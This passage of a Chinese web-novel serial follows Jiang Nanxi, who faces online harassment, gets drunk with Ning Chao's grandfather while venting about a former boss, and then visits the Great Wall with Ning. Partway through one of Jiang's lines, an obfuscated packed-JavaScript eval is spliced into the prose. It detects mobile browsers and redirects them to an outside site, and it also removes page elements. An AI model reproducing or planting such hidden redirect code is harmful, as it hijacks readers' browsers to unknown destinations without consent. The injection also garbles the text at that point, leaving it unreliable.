天山巍峨刺破云海,皑皑白雪终年不化,广袤绿野上草浪奔涌,壮阔仿若大地的一呼一吸,一棵白桦孤零零地伫立在镜头中央,一望静默,像是亘古蛮荒指向天空的一息心跳。 这是业内老师发的朋友圈,文案标注:摄于新疆野外纪录片拍摄首日。 就是这张照片,让姜南西打开一个空白聊天框,她坐起来,背脊挺直,似是终于下定了某种决心。 “夏老师,您好,我是姜南西。” 窗外,城市的霓虹宛如一条跃动的银河,蜿蜒于高楼大厦,包裹着无数忙碌的身影,也流向城市的另一端。 东湖湾。 虽然姜南西没有直说,但凭着精湛的推理能力,一抹直觉,和几个可能的关键词,宁朝如大海捞针般定位到她的账号。 ——其实是因为姜南西的昵称跟她的微信名一样。 同时也发现了她没说出口的,断更的真正理由。 评论区有些言论简直乌烟瘴气,正儿八经受过九年义务教育的都没眼看。 在那些人眼中,姜南西不管做什么都是错的,偶遇小狗被说作秀摆拍,分享喜欢的食物被说有安全问题,穿了喜欢的裙子,哪怕只在视频露出一角,也被恶意言论泼上龌龊的脏水。 网络发言成本几乎为零,天然成为他们的保护伞,在这层伪善的保护伞下,姜南西的一言一行成为讨伐的对象,他们拿网络暴力当作消遣光阴的游戏,恶意攻击,肆意诋毁,没人觉得有什么没问题,并以此为乐,乐此不疲地沉浸在这场扭曲的狂欢中。 看了一会儿,宁朝把手机丢到沙发上。 他走到客厅打开冰箱,拧开一瓶冰水,仰头一口灌下去。 又吹几分钟冷风,他闭了闭眼,心中各种情绪如潮水不断翻涌。 转身找回手机,宁朝翻出姜南西最后更新的那条视频,骂得最多的ID在评论里阴阳怪气视频是用AI拼接的,质疑up主压根没去过北京动物园,“我来考考你”式地问她知不知道里面有什么动物。 宁朝回复:【有草泥鸭】 然后,他截图该ID在每条视频下的回复,一条条整理汇总,点击右上角,举报。 想想不解气,宁朝又点开那人私信,键盘噼里啪啦发过去几个字。 “草你丫大爷!” “傻B王八羔子。” 毫无意外被屏蔽了。 但宁朝无所谓,骂完趁对方反应之前,删除,举报,拉黑,一键三连。 21. 红星二锅头 去长城的决定做得很仓促,正如姜南西现在匆忙的脚步。 早晨家长们陆续将小朋友送过来,却一直不见七块五的身影,姜南西以为他请假了,可当幼儿园老师到之后,却说没有接到过七块五家长的请假电话。 其他小朋友上车坐好后,校车最多只能再等五分钟,又迟迟打不通家长的电话,老师不能离开,便拜托姜南西帮忙过去看看。 时间不多,姜南西跑得很快,转过一个弯快到目标楼栋时,远远看见从单元楼里出来的母子俩,在吵架。 七块五不情不愿地被牵着,嘴里叽里咕噜,听不清在说什么。 牵着他的是他妈妈,之前送孩子姜南西碰见过几次,七块五妈妈大声道:“要买你自己买去,凭啥我给你买?” “妈妈。”七块五试图唤醒母爱,“凭你是我妈妈呀。” 七块五妈妈冷漠脸:“那你以后不要叫我妈妈了,叫别人妈妈吧。” 七块五愣了下,大喊一声:“别人妈妈!” 姜南西努力忍住了没笑,走到两人面前。 见她来,七块五的妈妈像是等来什么救星,二话不说松开牵着孩子的手:“小姜老师,把别人孩子带走吧。” 姜南西拉过七块五,着急也没忘幼儿园的要求:“小朋友跟妈妈说再见。” 七块五挥舞着小手:“再见别人妈妈。” 一大一小快步往小区门口赶,因为跑动,七块五的小肚子duangduang抖动。 姜南西禁不住好奇问:“你今天为什么迟到了?” 七块五说话也抖:“妈妈不答应给我买猪猪侠,我就不想出门。” 两人斗智斗勇一早上,才导致了迟到。 七块五伤心地说:“她还打我。” 可姜南西怎么看都不觉得他像被打的样子,果不其然,七块五生气道:“她用她的嘴巴狠狠打了我的心。” 姜南西笑出来。 又一次见识到小朋友语言体系的可爱。 手忙脚乱将七块五送上车,七块五跟她说:“小姜老师再见。” 姜南西摆摆手:“小朋友再见。” 看着校车远去,姜南西才得空回复宁朝昨晚的信息。 “今天就去八达岭吗?”宁朝出差,这几天不在北京,姜南西给他拨的电话。 早餐买得多了,默认他这个点一定是醒着的,所以直接打电话也是很自然的事情。 宁朝确定:“对,今天。” “这么赶?”姜南西暗自诧异,宁朝向来一副气定神闲,从没见他这么急切,与以往的人设不符。 可她还是走向电动车,拿下挂在车把上的头盔,本来她准备去地铁站打太极的。 她问:“可是你不是说明天才回来吗?” 这头,宁朝抬指摁下眉心,声色如常:“天气预报说,今晚八达岭的星空会很好看,所以想带你去看看。” 姜南西恍然:“你还挺浪漫嘛宁总。” 宁朝笑起来:“近朱者赤。” “也行,反正明天周六不用送小朋友。”姜南西算算时间,“我先过去那边等你?” “你去什刹海等我。” “为什么?”姜南西用胳膊夹着头盔往回走,钥匙在食指上一转一转。 宁朝说:“我的车放在什刹海,你去那等我,等我回来咱们一块儿出发,我下午两点的飞机。” 姜南西没有异议:“好。” “顺便。”宁朝从床上坐起来,电话里窸窸窣窣,“你中午过去,帮我突击检查一下老爷子有没有偷偷喝酒。” 电动车钥匙“啪”地掉在地上,姜南西脚下一个趔趄:“喝酒啊......” 宁朝未卜先知:“你也不准喝。” “我也不是经常喝多的。”姜南西努努嘴巴,弯腰捡起钥匙。 “他最近又花大价钱买了保健品,人家给他送了不少酒,这几天看我不在,肯定偷喝了。”宁朝对宁衡远的作风了如指掌,并利诱姜南西入伙,“抓着了你拍个照片,一张证据一百块。” “要得!”姜南西眉开眼笑,火速弃暗投明。 结束通话,姜南西回家收拾。 考虑晚上要住那边,爬长城的时间又比较长,她多带了块备用电池,以防相机没电错失美景。 走前跟何星屿吃了个早午饭,在饭桌上告知他今晚不回来,要出去玩。 何星屿手里捏着炸鸡腿,困得要死,一听这话眼大如铜铃,鬼迷日眼贱兮兮道:“我要跟我最好的朋友去海边玩!” 说完又不服,举起鸡腿宣示主权:“不行!我跟笛子才是你最好的朋友!” “是是是!”姜南西笑着递给他一个汉堡,“来派大星,你最爱的蟹黄堡。” 到什刹海时,烈日高悬。 一到夏天,北京的太阳变就得炙热毒辣,像个功率全开的超大浴霸,从下地铁到宁衡远家这点距离,姜南西不过抬起手臂遮了下,皮肤被疼得像被高温烫伤。 刚到门口,院子里传来“咚咚咚”,紧跟着从里头跑出来一人。 那人约莫二十出头,皮肤被晒得黝黑发亮,寸头,消瘦,但面相精神,看人的时候两眼放光,透着股机灵劲儿,仿佛随时要跟人搭两句话。 哪怕跟从没见过的姜南西匆匆对视一眼,他也龇着一口大白牙,热情地打招呼:“姐姐好啊。” 说完就“咚咚咚”往外跑去。 这个时候出现在宁衡远家的人,只有一个可能,而这个可能,在他衣服背后的“保险”二字上得到了验证。 姜南西看看跑走的那人,又转头看看半敞的院门,心下一动,提前打开了手机拍照功能。 她蹑手蹑脚摸进去,院子里空无一人,只有苍狗葛优躺在屋檐上,碧绿色的眼珠子紧盯着她的鬼鬼祟祟:“人,你不对劲。” 姜南西环视一圈,从厨房到几间卧室,最终在最近的房间里捕捉到宁衡远一闪而过的身影。 一片寂静,屋子里响起轻微而缓慢的倒酒声。 姜南西悄悄站到门后,正赶上宁衡远举起酒杯,而旁边红星二锅头的酒瓶已经空了大半,估计是喝了不少。 借着门板遮挡伸出手机,她快速连拍几张,而后一把推开房门。 宁衡远吓一跳,酒举半天了没敢送进嘴里。 姜南西双手抱臂站在门口:“大爷,您又偷喝酒,小心我告儿宁朝啊。” 时间静止两秒,姜南西以为自己威慑成功,就在她走进屋准备拿下宁衡远手中的酒杯时,宁衡远忽然仰脖,将杯中白酒一饮而尽。 接着,他看向姜南西,一脸的泫然欲泣:“小西,大爷苦啊!” 姜南西定在原地:“?” 酒杯“咣当”一撂,宁衡远双手用力搓了把脸,他脸上明显有了醉意,双眼中却满是悲怆与心酸:“自从老伴儿走后,这个家就剩我一个人,不喝点酒还能干什么呢?” “怎么会呢?”姜南西放下包,走过去坐下,“您看您孙子孙女儿,不都经常回来看您嘛。” 宁朝说过,他们哥姐弟三人隔三岔五回来一趟——抓宁衡远喝酒。 “你根本不懂啊!外人都说我是儿孙满堂,个顶个的事业有成还孝顺,其实都是那驴粪蛋子表面光!”宁衡远一甩手,然后“啪”地一拍大腿,脸上的表情那叫一个憋屈,“大的,拿我当教学案例,我那下巴都快掉到塔里木盆地了,好家伙他还拿着个手机,就这么对着我的脸一直拍拍拍。”说得激动,宁衡远特意比划了个怼脸拍的动作。 这故事耳熟,姜南西手指挠了挠鼻梁,把笑意憋回去。 “老二呢,是个闺女,比老大会疼人,可是轴得要命!过年那会儿,我跟三儿一块儿放烟花,把他弟弟逮警局写检讨就算了,非得让我在家也写一份,你说说,这孩子是不是一根筋。” 铁面无私,是个好警察,姜南西刚点头表达尊敬,就对上宁衡远的死亡凝视,又赶紧摇头,用下巴在空中画了个圈。 “还有三儿!” 姜南西竖起耳朵,想听宁朝的瓜。 趁她一不留神,宁衡远又倒一杯闷了个底儿掉,脸红得跟关公似的,说话开始口齿不清。 “他爸让他学医报北大,想着以后稳稳当当子承父业,那小子嘴上答应得好好的,嘿!结果背地里偷偷改了志愿,把清华通知书拿家里才知道报了个什么机械工程,把他爸气得不轻,抄起东西要打他。” 这话给姜南西不小的震撼。 印象中,宁朝行事随心所欲,表面上玩世不恭,时不时贫几句逗人开心,跟谁都能打成一片,而实际上他沉稳冷静,通透睿智,永远有解决问题的能力。 最重要的,他信念坚定,勇敢且直接。 这样的性格,让姜南西理所当然地认为,宁朝成长在一个家风开明的家庭,尤其在和宁衡远接触后,姜南西就更加笃定,他的家人会永远支持他的所有决定。 可当听到他被打,姜南西的心弦不可自抑地紧了下。 “真打啊?”她问出声,话间,不动声色将剩下的半瓶酒挪远了一点。 “真打!现在三儿右肩膀上还留着道疤呢。而且抄啥不好,要抄我老伴儿养的花儿,好好的一盆花被砸得稀巴烂,这败家玩意儿。”宁衡远愤愤不平吐槽,然后不知是想到什么,他停下来,眼神空洞望着门外,发了两秒钟的呆。 两秒钟后他回神,想再倒酒却找不着酒瓶了,又继续刚才的话头:“不过这不是重点。” “这小子毕业之后想创业,就开始惦记上我那退休金了,还偷拍我跟隔壁大姐跳广场舞的照片,威胁我说要不给他投资就发家族群里。” “哦前些天,还让我去公园里跟人学打太极,你说他这不是钓鱼.执法是什么。” 宁衡远义愤填膺:“你看看我们家这三个孩子,没一个是省心的。” 一番话姜南西听得直乐,宽慰他说:“但他们都很优秀啊,别人家想要还没有呢。” “你想要啊?”宁衡远掀掀眼皮子,“想要哪个大爷送你。” 姜南西双手直摆:“买卖人口是死罪啊。” 宁衡远怅然若失地长叹一声,这声叹息,硬生生把姜南西心底的同情和不忍一股脑儿都钩了出来。 “所以说小西啊。”宁衡远叫她,“你说我这么个糟老头,上地铁想当个义工,人嫌我年纪大碍事儿,不喝点酒,不吃点鸡蛋仔,不跳点广场舞,不摆活点花花草草,还能干什么呢?” 姜南西轻轻抬眉,心道那也不少了。 宁衡远的声音无比沧桑:“人活到八十岁,一个人是很孤独的。” 这是好悲凉的一句话,如果忽视他此刻想从姜南西手里偷酒瓶的行为。 姜南西抱着二锅头躲开他的动作:“大爷,您真不能再喝了。” “不喝难解我心头之苦啊。”宁衡远表情夸张,不知道是醉的还是装的,“难道你就不苦吗?你北漂不苦吗?你辞职不是因为心里苦吗?” 直击三连把姜南西直接问懵了。 宁衡远看准机会,一把夺走她手里的酒瓶,眼疾手快地斟满一整杯,又怕被抢似地,端起杯子,咣咣两口喝个精光。 喝完,他说:“古人说得好,何以解忧,唯有杜康,这人心里要有点愁事儿,可不就得喝点酒吗?” “话这么说没错。”虽然宁衡远平时看着不靠谱,喝多了说话也不着调,可眼下看着是真伤心了,姜南西心生恻隐,放了个水,假装没看见他又倒一杯,但也还记着宁朝的嘱托。 她道:“但您这么大岁数了,酒喝多了对身体不好。” 这么一说,宁衡远话锋陡转:“小西你年轻身体好,那你喝!” 说罢他就拿起一个没用过的酒杯,哗啦倒满酒,“哒”一下放在姜南西的面前。 “我待会儿要出去玩儿的。”姜南西说。 宁衡远满不在乎地说:“出去玩儿又不耽误喝酒!伟大的诗仙李白都说了,人生达命岂暇愁,且饮美酒登高楼!你只有喝了酒,才能跟那些个壮阔的景色产生共鸣,才能找到生命的力量,才能攻克生活的艰难啊。” 他说得激昂又慷慨,姜南西迅速瞥一眼面前的小酒杯,又看看宁衡远。 眼见她被说动,宁衡远趁热打铁:“就剩最后这小半瓶,你帮大爷喝点儿。” 姜南西犹犹豫豫:“喝......点儿?” 宁衡远头一撇眼一横:“喝点儿!” 一个小时后,地上酒瓶七零八落。 “要不是当时崴那一脚,我今天哪有机会跟您坐一块儿喝酒啊,指不定早投胎成小猫小狗了!就这样的人渣,花女朋友钱还打他女朋友,就该死一万遍!” 姜南西脸色通红,身上肌肤也泛着红晕,整个人就刚从酒缸里捞出来一样。 她连人带凳往前蹭了半米,上半身前倾,指着自己额角给宁衡远看:“您瞧瞧!这就是那个人渣用酒瓶子扎的,我还没找他要医药费呢。” 宁衡远凑过去,瞪大眼睛仔细看半天,终于看见一道不起眼的疤痕,他坐回来瘫在椅子上,说话时舌头打结:“他打他女朋友,两人分手,你怎么跟你男朋友也分手了?” “前男友。”姜南西严谨道,她醉醺醺地一拍桌子:“那也是个人渣,老说我这不好那不好,老娘好着呢!” “嗯!”宁衡远重重同意,“我们小西棒着呢!” “还有我那个老板!”姜南西气得直甩脑袋,抄起怀里的整瓶二锅头“咕咚”一口,切齿恨恨道:“我前天晚上在片场通宵加班,第二天在地铁上累得犯低血糖,打卡迟到了五分钟,他就说我工作态度不端正,说不放心把那么重要的项目交给我,那不放心一开始就不要放心啊,都快收尾了让他关系户来摘桃子,一个人怎么能这么混蛋呢!” 像是要把心中的愤懑全部发泄,姜南西破天荒地说了这么多话,她激愤地喋喋不休:“您知道为什么我要辞职吗?之前我们开了那么多项目会,捋了一百遍一万遍的流程,确定无误拍摄班底都搭起来之后,马上就要开拍了,有个同事跳出来跟我说要加无人机机位,先不说那里是禁飞区域,用脚趾头想也知道空域拍摄要跟有关部门报备,报备流程要花时间吧,您猜我那老板说什么?” 宁衡远搭腔:“说什么?” 那天那人的语气姜南西终生难忘:“你不是长得漂亮吗?别浪费你这张脸。” 时至今日,姜南西的心还是会被这句话刺痛。 宁衡远气得骂:“这个混账!” 姜南西说:“大爷您说,天底下当老板的是不是都是狗东西?” “是。”宁衡远扬声赞同,“就像那宁狗三,创业的时候拿走我不少退休金呢。” 提到钱,姜南西清醒一瞬,眼睛清清亮亮看过去:“多少啊?” 宁衡远说了一笔好大的金额。 把姜南西惊着了。 她坐在凳子上,呆呆看他一阵,直到把宁衡远看得毛骨悚然,她忽然哼哼两下,嘴角扯起一抹坏笑:“老头儿,你有点东西啊。” 老头儿吓毁了:“没有了没有了。” 姜南西眼神重新入醉,肩膀塌下来,弓腰坐在那里,酒精的亢奋劲儿用光,一下子变得落寞和消沉。 “我不是不知道这个世界是什么样子。”她语气说不出来的难过,像一个精神奕奕的小灯泡“噗”地突然熄灭,“我也知道职场的那些潜规则,也许我当初违心巴结他俩句,或者在他不懂装懂提出修改意见的时候,不去反驳而是圆滑一点点,跟别人一样拍他马屁,可能早就升职加薪走上人生巅峰了。” “但是不行的,我学编导的时候,老师只教了我怎么用镜头拍好东西,没教我怎么骗人。” “我从小努力学习不是为了变成这样的。”她委屈地撅下嘴巴,眼里泛起水光。 这不是她的生存法则。 姜南西缓缓低下头,伸手揉了揉自己眼睛。 这头的宁衡远不自觉眯眼,他目光若有所思,看向这个表面软柿子实则内心坚韧的小姑娘。 坚守原则和明辨是非是很多小朋友都知道的道理。 可不知道从什么时候开始,好像大人们都已经默认了,一个人如果想要成功,就必须舍弃自身的真诚,善良,责任感和道德感。 历圆滑而弥天真很难,但知世故而不世故,全凭一颗心。 而姜南西,有一颗纯粹的心。 姜南西深深地吸进一口气,仿佛将什么失去地东西重新找回,再抬头时,她眼底澄澈而明亮:“所以我就是想看看,我这样的,能不能也活得很好,就算是撞南墙我也想撞一撞,万一呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793035|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说着,她咧开嘴笑一下,因为醉酒,表情看起来懵懵的,说话声音也闷闷的。 “我马上就要三十岁了,但我还是想去做我想做的事,我就是想看看,我能不能就用我喜欢的方式,过一辈子。” “三十岁算个屁。”宁衡远给自己倒酒,“人只要没病没灾,活这岁数就跟玩儿似的,这只是自然的规律,不是限制你的规矩。” “你瞅瞅樊大姐,要不是当年她脑门一热转了专业,可能今儿她就是个壮志未酬的语文老师,喝多了指不定在哪儿哭天抹地儿地说这不是她要的一生呢。” 姜南西脑袋一点一点,憨憨傻乐:“我觉得樊老师不会哭。” “就打个比方。”宁衡远朗声道,他双手一摊,就跟在胡同口跟人唠嗑儿似的语气,“人呐,甭管你是当大官儿的还是个平头百姓,嗝屁了之后就一把土,什么都带不走,也证明不了什么,就这么几十年,看看花花草草,谈谈情说说爱,啊,顺便再做个你想做的事儿,咱活着不就图一乐呵吗,要是天天寻思这不行那也不行,时间都寻思没了,嘛呢!再说了——欸你说你想做什么来着?” 姜南西紧紧抱着怀里的二锅头,应声道:“纪录片导演。” 宁衡远嘿嘿一笑:“你不想三十一岁的时候是个纪录片导演吗?” 轻飘飘的一句话,沉甸甸地落在姜南西心里。 她喝多了,想不出能回应的话,但是潜意识里有个声音告诉她,这句话很重要,一定要记住。 姜南西陡然升起一种“他乡遇故知”的畅快,倍儿舒坦,古人诚不欺她。 她举起二锅头,特豪迈地朝宁衡远一挥,嘴里嚷嚷着:“知己!懂我!” 宁衡远乐说:“我就是你的张怀民!” “不不不!打今儿起,你就是我亲大哥!”姜南西打了个小小的酒嗝,她晃晃脑袋试图醒神,“咱俩以后就是亲兄弟!” 宁衡远举起酒杯:“啥也不说了!二弟!” “大哥!” 两人对饮一大白,而后宁衡远想起一事儿:“二弟,你可不能跟三儿说我今天喝酒了啊。” 喝得上头,早不记得宁朝姓甚名谁了,姜南西右手握拳捶两下自己胸口,满脸“打死也不说”的忠诚:“做兄弟在心中!” 宁衡远:“好二弟!” 姜南西:“好大哥!!!” 四个小时后,充满酒气的房间。 宁朝叉腰站在中间,满头黑线地看着一地狼藉,以及分坐在沙发两侧的姜南西和宁衡远。 醒了会儿酒,两人慢慢恢复意识。 宁衡远晕晕乎乎,余光瞟见宁朝那张阴沉得能滴出水的脸,又缩回去,把脸埋进沙发靠枕里装死。 宁朝冷冷吐出俩字儿:“别装。” 事情发展成这样,姜南西知道自己有很大责任,心里很是过意不去,加上宁衡远之前说的那些话,什么孤独啊心里苦的,她于心不忍,想替宁衡远说句话:“那个......我大哥——” 宁朝转过来纠正:“你大爷。” 姜南西应激吼回去:“你大爷!” “......” “不是。”吼完她心虚地摸摸自己脑袋,拍拍衣服,抓抓胳膊,假装很忙的样子。 她看眼另一边,宁衡远吓得跟个鹌鹑似的,然后转回视线,她自认理亏,不敢看站着的人,只敢压着声儿道歉:“对不起啊。” 宁朝没吭声。 姜南西试探性地看一下宁朝,发现宁朝也直勾勾看着她,赶忙避开。 还不说话,姜南西又看一下。 再一下,两下。 第四下,宁朝终于认输般地叹了口气,他扫眼还在闭眼装睡的宁衡远,话却是在问姜南西:“头疼吗?” “不疼。”姜南西摇了摇头,宁朝看她一眼,她立马点头:“疼。” 宁朝问:“东西都带了吗?” 姜南西指指门口:“都在那。” 宁朝薄唇抿紧,周身气压很低,以至于他走过去拎包的架势,让姜南西幻视出他拎起自己扔出大门的场景。 但宁朝没有,而是在背起她的包之后,转身找回她扔的东一只西一只的鞋,拎到她脚边轻轻放下:“穿上,走了。” “啊?”姜南西茫然,“那大哥怎么办?”她已经习惯了这个称呼。 宁朝习惯她习惯了这个称呼,语色平常道:“我二姐马上回来。” 回来的不止二姐,还有二姐的纸和笔。 她双手环胸,大马金刀坐在四方桌的一侧,双腿交叠,鞋尖若有若无点地,带着压迫感的眼神直直射向坐在对面的宁衡远,活脱脱一位刚正不阿的判官:“三千字,写吧。” 姜南西听得一抖,小心翼翼朝宁衡远投去同情一瞥。 宁衡远愁眉苦脸地看回来,无声向她求救,姜南西深感悲痛地摆手,不敢发出一点声音。 两人的交头接耳没逃过人民警察的火眼金睛,宁天骄眼一斜问宁朝:“你家那个也想写?” 姜南西瞬间紧绷如挺尸。 宁朝看得笑,他揉揉姜南西脑袋,强制把人开机:“走了。” 走前,姜南西双手合十朝宁衡远拜了拜,好似在说:“好大哥,对不住了。” 宁衡远呢,则一脸了然:“好二弟,不怪你,大哥知道你有苦衷。” 大哥和二弟,革.命友情就这么建下了。 姜南西坐进车里时,车里没人,三分钟后,宁朝才回来。 往她手里塞了瓶酸奶:“把这个喝了。” 姜南西接过来,盖子已经被拧开了,这让她内心愈发不安,咽了下口水,再次真诚道歉:“真的对不起啊。” “没关系。”宁朝若无其事道,好似这事儿没发生过,“让他写写检讨也好,是该长长记性了。” “我是说,你让我监督他,结果我还带着他一块儿喝酒。” “确定不是他带着你?” 姜南西没明白,看着他。 七点钟,外头夕阳一寸一寸爬上天际,晚霞正好,照在宁朝的侧脸,勾勒一片幽邃的暗影。 “如果是他带着你,你顶多算个从犯,主犯已经伏法,刚刚在屋里,你也已经跟为你的错道过歉,不用再说第二次。” 宁朝知道她想表达什么,在盈满夕晖的车里,他一步一步认真耐心地跟她分析:“从你给我的照片来看,在你来之前老爷子就已经开始喝酒了,你属于被哄骗,明明不是你的错,为什么因为要照顾他的感受,就替他承担他的那一部分责任,你没有这个义务。” 宁朝说:“你是做错了事,但你的感受也很重要。” 话音甫落,车里瞬间被静谧填满,一起被填满的,还有姜南西的心。 姜南西想说什么,张了张嘴又说不出来。 一直以来,她害怕犯错也总在安慰别人,久而久之,演变成现在的习惯性认错,因为觉得照顾对方情绪、维护关系比错误的归属更重要。 从没人跟她讲过这些。 姜南西转头看向手里的酸奶,苹果味的,霞光正好照在上面,瓶身镀着一层暖融融的金黄,连带着手心也被这光晕捂热。 半分后,她点点头:“我知道了。” “你们喝了多少?”宁朝转而问。 姜南西低唔了声:“一人半瓶二锅头吧。” “够能喝啊。”宁朝倾身,伸手拉过副驾驶安全带。 “不止能喝还能唠呢,唠得嘴皮子没歇过。”姜南西道,但具体内容她不想细说,那是她觉得无比珍贵的记忆,想偷偷藏在心底最深处。 不过也有别的说。 她轻“嘶”了声,不解地问宁朝:“你为啥要让我大哥去打太极啊?” 宁朝给她扣好安全带:“我相中了一老太太。” “老太太?”姜南西侧头,巨大的疑惑让她忽视了两人过近的距离,她看着近在眼前的俊脸,脑中灵光乍现:“想让她当你奶奶啊?” “不应该啊。”没等回复她又兀自嘀咕,怎么想怎么不对。 “确实不应该。”宁朝这次才是真的气到了。 看出来了,姜南西真喝大了,脑子压根没醒,是可以跟她说美少女战士是东北人的程度。 他咬牙:“她现在是我姑奶奶。” 22. 淡盐水 宁朝订的民宿在岔道古城,紧贴着长城根,两间卧室,带了个独立小院儿,院子中央种着棵巨大的丁香树,满枝紫雨,躺在树下躺椅,从天井望去,就是一片开阔天空。 视野极佳,是看星星的好地方,即便如此,两人当晚还是没有看成星星。 因为姜南西的酒劲儿没过,又醉又困。 但她要吃饭,确切说,是要请宁朝吃饭。 “你负责住,我负责吃。”农家乐菜馆里,姜南西低头看菜单,“今天来不及了,赶明儿请你吃个大的。” 宁朝拆开餐具塑封,将餐具递到她手边,接着拆另一套:“吃多大的?” 姜南西抬头,定了两秒:“700毫升的。” ...... 行吧。 一看就知道这还没醒透呢,也别折腾吃什么炒菜了,宁朝收起菜单,招呼老板娘上两碗牛肉板面,一碗不要鸡蛋。 老板娘问:“吃葱花香菜吗?” 外头火车轰隆隆经过,姜南西没听清:“你这有湘菜?” 老板娘拔高音量:“问你吃不吃香菜和葱?” 姜南西说:“我现在很放松啊。” 老板娘哭笑不得,转过来看宁朝:“帅哥你女朋友挺逗儿啊。” 宁朝说:“喝多了您别介意。” 姜南西充耳不闻抠面巾纸包装,抠了半天没抠开,宁朝从她手里抽过面巾纸,捏住封口一端撕开,再还给她。 不指望能跟一个喝醉的人说上话,等面的时候,宁朝就坐在对面,看姜南西埋头玩纸巾。 一张纸巾被她翻来覆去地折,拆开,折起来,再拆,再折。 这家餐馆带烧烤,老板在外头用炭火烤肉,不时有游客推门而入,带进来几丝烟雾,萦绕在空调房里久久不散。 旁边几桌食客热闹,显得靠窗这桌异常的安静。 就在宁朝以为她会这么一直玩下去的时候,姜南西突然看向他,眼光直直钉在他的脸上。 宁朝歪了下头,回看她。 “我不是你女朋友。”姜南西一字一句,语气严肃又庄重。 宁朝一愣,偏偏这句听清楚了。 他表现得还算平静,笑了声,准备开口解释,却又听见姜南西的第二句话:“我是小姜老师。” 说完小姜老师扔掉纸巾,双手托住下巴趴在桌上,眼皮子上下打架,她头顶上的最后一格电忽闪忽暗,马上要进入关机模式。 上面时,老板娘好心地给姜南西带了杯常温的淡盐水,说能解酒。 姜南西胡乱扒了两口板面,然后就坐在椅子上,抱着那杯淡盐水发呆。 宁朝以最快的速度吃完面,然后拎起醉得不省人事的姜南西,回民宿睡觉。 回到民宿,姜南西坚持要看星星,她坐在院子里的躺椅上,微微仰起脸:“你想看星星。” 宁朝单手抄兜站她面前,目光落她脸上:“你不想睡觉吗?” 喝多了的姜南西是个复读机:“你想看星星。” “我不想看星星。”宁朝伸手拂掉她发上的一瓣丁香,发丝在指尖留下一缕柔软,“你想睡觉。” 姜南西的眼神飘忽不定:“你想看星星,我不想睡觉。” 几句过后,宁朝掌握了她醉酒后的语言模式:“我想看星星,你不想睡觉。” 姜南西认同地点点头:“你不想看星星,我想睡觉。” “嗯。”宁朝轻声,“知道房间在哪儿吗?” “知道。”姜南西拍了拍脸,她站起来走向自己的房间,走出半米又猛然回过身,朝他挥一挥手:“小朋友再见。” 丁香树下,宁朝笑着挥手:“小姜老师明天见。” 姜南西觉得不对,皱眉道:“不是明天见,是再见。” 宁朝拿她没办法:“小姜老师再见。” 姜南西心满意足地继续往前走。 院子里,树下,宁朝坐在姜南西刚才坐过的地方,抬头看向夜晚的天空。 满天都是星星,像是被敲碎的冰河,每一片裂痕里都闪着光。 他独自坐了会儿,大概半小时。 直到姜南西的房间黑灯,很长一段时间没有发出声音后,才起身回到自己房间。 · 次日早晨八点,姜南西睡醒走出房间。 刚刚下过一场小雨,院子里漂浮着潮湿的水汽,空气很轻,仿佛一戳就破,丁香树被雨水洗得焕然一新,叶片挂满晶莹的水珠,阳光一招,宛如一树璀璨的钻石。 姜南西在院子里站了会儿,听见上头有人喊她:“姜橙子,早上好。” 她转过头,古城墙上旌旗猎猎,宁朝一身白T搭配普通牛仔裤,衣摆随风荡起,他眉骨映光,眼中满是朝气活力,身后是澄澈蓝天和大朵白云。 画面清爽又干净,直直撞进姜南西的心中。 “早。” 抬手举在额头挡光,姜南西眯起一只眼看宁朝:“你在那干什么?” “下面信号不好,上来打个电话。”宁朝举了举手机,“饿不饿,吃个早餐?” 姜南西声线懒懒:“好啊,那你下来。” 宁朝笑:“来了。” 比宁朝先来小院的是民宿管家,给两人送身份证。 “你俩急着去吃饭没拿,后来我也给忙忘了。”管家歉意一笑,又问:“昨天晚上这边火车过得多,没吵到你吧?” 姜南西眸光虚晃:“我睡得还行啊。”岂止还行,她喝多了睡太死,完全不记得了。 管家走后,姜南西在院子里等得无聊,看宁朝的身份证。 这是她第二次看见宁朝的身份证,却是第一次注意到上面的出生日期。 有什么念头从脑海闪过,姜南西赶紧掏出手机查看日期,刚好和宁朝身份证上的一模一样。 难怪他昨天那么着急地要来看星星,原来是想赶个零点。 结果自己不争气地喝多了。 姜南西懊恼地手掌用力一拍脑门。 这一幕刚好被走进院子的宁朝看见:“怎么奔儿头上长孙猴子了?” “打蚊子呢。”姜南西揉揉发红的脑门,她收起身份证,接着眼睛蓦地一亮:“嗳你刚那句是不是北京话?” 宁朝说:“奔儿头?” “啊。” 这反应让宁朝觉得奇怪:“北京待几年了没听过北京人说话?” 姜南西说:“没听过这么正宗的。” 民宿下午两点退房,时间还早,两人吃完早饭直接爬长城。 本来还担心姜南西恐高,宁朝建议要不走南线,坐地面缆车上南四楼,姜南西说来都来了当然要爬好汉坡,而且以后可能都没机会爬了。 坐接驳车到八达岭索道入口,排队上车,这个点游客说多也不多,他们很幸运,坐到一个没有别人的车厢。 宁朝问姜南西:“真不害怕?” 姜南西说:“山人自有妙计。”说着转手从包里掏出一个眼罩。 可恐高不是封闭视觉就能解决的事情,它影响着身体的方方面面,车厢每晃一下,姜南西就跟着抖一下,五脏六腑搅成一团。 为了缓解她的紧张,宁朝变着法儿的跟她讲冷笑话。 “积德行善的反义词是柯南行凶。” “人是铁饭是钢,食人族看着逃跑的人,恨铁不成钢。” “小番茄问她妈妈:‘妈妈为什么我们是番茄而不是土豆呢?’,番茄妈妈说:‘见鬼了!番茄竟然会说话。’” 一开始只有宁朝在说,车厢里除了语音播报就是他的冷笑话,姜南西戴着眼罩一动不动,坐在椅子上如老僧入定。 直到听完番茄那个笑话,姜南西“扑哧”笑出声。 笑完车厢被风吹得轻晃一下,吓得她赶紧抓住扶手,浑身再次僵住,嘴角的弧度来不及收回。 车厢稳下来,她问宁朝:“你怎么有说不完的冷笑话?” “以前辅导当当功课,专门搜来逗她的。”宁朝说,“还有脑筋急转弯的那种。” 